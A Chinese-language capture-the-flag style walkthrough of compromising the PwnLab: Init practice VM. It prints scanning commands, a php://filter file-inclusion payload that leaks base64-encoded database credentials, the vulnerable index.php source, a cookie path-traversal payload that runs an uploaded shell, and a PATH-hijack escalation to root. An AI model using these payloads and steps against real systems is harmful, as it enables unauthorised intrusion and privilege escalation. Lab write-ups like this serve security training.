pwnlab-init靶机渗透测试
环境
靶机ip 192.168.19.149 攻击机ip: 192.168.19.131
工具
netdiscover nmap gobuster brupsuite mysql nc
流程
首先信息收集对目标网段进行扫描
netdiscover -i etho -r 192.168.19.0/24
发现目标主机192.168.19.149 用nmap对目标主机端口扫描
nmap -sV 192.168.19.149
开了三个端口 80 111 3306 首先访问80端口 三个页面有上传,登录,和一个啥也没有的home页面上传要求先登录 从登录页面下手 打开登录页面可以看到这个url很敏感
应该是存在文件包含漏洞 先扫一下目录看看有没有发现 这里用到gobuster工具对目录爆破
gobuster dir -u http://192.168.19.149/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫到个config.php更确定了文件包含的想法 利用文件包含漏洞
192.168.19.149/?page=php://filter/convert.base64-encode/resource=config
用base64返回加密了的文件内容 PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+ 解密得到 一个数据库账号密码 远程登录数据库 mysql -h 192.168.19.149 -u root -p 输入密码进入数据库在数据库Users里面的users表里面得到三个账号密码
解密密码以后登录 准备上传shell 只能上传图片 将shell后缀改为jpg上传时用burpsuite截断加一个GIF头 上传成功得到返回了文件目录 开启本地监听执行文件
访问失败 再回到刚刚爆破出的还有个index.php 用同样方法查看包含文件 解密得到了index.php的源码
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE[lang])) { include("lang/".$_COOKIE[lang]); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET[page])) { include($_GET[page].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>
从源码可以得到信息需要使用cookie以 lang发起访问 到index.php点击一个一个跳转用brupsuite截断再cookie后面加上
lang=../upload/be0eda469db3e019b5d62969b3781336.gif
send后收到反弹shell 优化终端python -c import pty;pty.spawn("/bin/bash") su 切换到用户kane 在其工作目录下发现一个用户mike的可执行文件 执行 显示是执行cat命令 在运行bash程序cat的/tmp目录创建一个shell文件再将其添加到$PATH环境变量开头这样系统就会先执行shell 成功切换到mike用户 再mike工作目录发现一个root的可执行权限文件 执行后输入一个反弹shell再另外开一个终端成功拿到root权限
总结
靶机很全面包含了文件包含漏洞考到了代码审计最后提权利用了环境变量学到了很多东西